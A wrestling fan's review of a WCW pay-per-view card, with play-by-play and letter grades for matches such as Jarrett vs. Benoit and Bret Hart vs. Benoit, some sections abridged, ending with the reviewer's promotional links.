WCW World Title Tournamet Semi-Finals: Jeff Jarrett vs. Chris Benoit

Jarrett hot shots him to the floor but Benoit comes back in and rolls through a high cross body for two. A belly to back sets up the Swan Dive but Creative Control breaks it up and lays out Benoit, allowing Jarrett to hit the Stroke. Cue Dustin Rhodes to fight Creative Control as Benoit kicks out at two. The guitar is brought in but Benoit takes it away and blasts Jeff (totally against his character of course) to go to the finals.

Rating: B-. Dang it they almost had me there for a second. I almost thought we were going to get a good match from beginning to end between two talented guys who can work whatever kind of match you ask. But alas, it took three run-ins and a weapon to make this REALLY interesting. It was nice while it lasted though.

Cruiserweight Title: Evan Karagias vs. Disco Inferno

A springboard twisting cross body gets two on the champ as the fans have died quite a bit since the opener. Imagine that. The announcers discuss what Schiavone is paid before talking about haircuts. Madusa offers a distraction and we get an awkward, mostly messed up sequence into a rollup from Evan for two. A nice Russian legsweep plants Karagias and the dancing elbow (complete with a kiss to Madusa) gets the same.

Bret Hart arrives half an hour into the show.

Russo tells a bloody Jarrett to prove himself by the end of the show or his favors are over.

Hardcore Title: Norman Smiley vs. Brian Knobbs

Rating: C-. See, the way to make the hardcore matches entertaining is to take them out of the ringside area. These things are so much better when they get creative with them instead of just doing the same weapons spots over and over again. I mean, would you want to try to make something out of Brian Knobbs without mixing things up a bit?

Knobbs beats Norman up post match.

We recap the Revolution vs. the Filthy Animals, which is built around kidnapping Torrie Wilson. This story made little secret about it being a way to showcase Torrie, which was one of the best ideas they could have had here.

The Revolution wants to see Torrie get stuck alone without help.

Revolution vs. Filthy Animals

Asya suplexes Eddie for a round of applause, even though she would be an appetizer for Chyna. Off to Dean who gets dropkicked into the corner, setting up a hurricanrana from Eddie for the elimination. Not quite Hostile City Showdown but that might be entertaining. Saturn t-bones Guerrero down as Torrie is on the floor like a manager due to a bad ankle injury. Heel miscommunication (another running theme tonight) sees Saturn superkick Asya, setting up the Frog Splash to make it 2-1.

Jarrett and Creative Control lays out Bagwell, even though that would be hurting his chances to get rid of Hennig, even though the Powers That Be seem to want to get rid of Bagwell at the same time.

Curt Hennig vs. Buff Bagwell

Hennig gets a standing ovation from the respectful crowd.

WCW World Title Tournament Semi-Finals: Sting vs. Bret Hart

Benoit says it would be an honor to beat Hart for the title in Canada.

Vampiro vs. Berlyn

Berlyn comes back in and stomps Vampiro down, only to have Wall put the collar around his own neck. A HUGE chokeslam puts Vampiro down and Wall covers for two. That angers Berlyn but the referee keeps counting anyway. Wall, minus the sunglasses now, throws the collar at Berlyn (Ferrara: “COLLAR! COLLAR! COLLAR!”) and walks away. Vampiro hits a spinwheel kick and throws him down with a release superplex. Now Only gets in for a double suplex, followed by a Vampiro camel clutch with the chain to make Berlyn tap. Vampiro and Berlyn were never attached by the chain.

Rick Steiner has forfeited the TV Title and, news to me, was scheduled to defend against Scott Hall tonight. Therefore Hall is now a double champion and issues an open challenge for both titles tonight.

Hennig leaves.

Kimberly is just getting here.

Meng vs. Total Package

Luger is wrestling in the surgical collar. Meng hammers on him to start and no sells a slam. That takes them to the floor with Meng dominating, but Tony thinks the neck brace is a way to block the Tongan Death Grip. And yes, that is EXACTLY the point of the thing. Back in and Meng tries the Death Grip to no avail. Meng chokes in the corner (should that work either?) and Luger screams for help. Luger: “HELP!” See? He screamed for help.

Luger tries a headbutt to about as much avail as you would expect and Meng runs him over a few more times. A kick to the face gets two and Meng chokes on the ropes, only to pull Luger up so Liz maces Luger by mistake (same deal that started the feud). Meng takes off the brace and puts on the Death Grip to win.

TV Title/US Title: Scott Hall vs. ???

Midnight comes out for the save.

Luger is still trying to find Liz.

We recap David Flair vs. Kimberly. So Kimberly tried to get David to sleep with her for reasons not clear, but she wound up sleeping with Ric instead. That sent David into insanity so she ran him over with a car. He was crazy enough to no sell it and has turned into a B-movie stalker ever since. Note that instead of Ric vs. Page in what could be a decent match, this is the best we can get.

Kimberly vs. David Flair

Anderson is taken out on a stretcher.

Goldberg vs. Sid Vicious

Rating: F-. This was supposed to be Hart vs. Austin, but that was four times longer than this, had two competent wrestlers, and a ton of emotion. Oh and that whole iconic image thing. Instead, as usual with Russo, they tried to get to the ending without putting in the effort first and it looks like a disaster instead of what they were going for.

WCW World Title: Bret Hart vs. Chris Benoit

Feeling out process to start until Bret takes him down in an armbar. A headlock puts Bret down for one and they hit a pinfall reversal sequence, capped off by a Crossface attempt to send Bret into the ropes. The fans are WAY into this one as they know one of their heroes is coming out champion.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6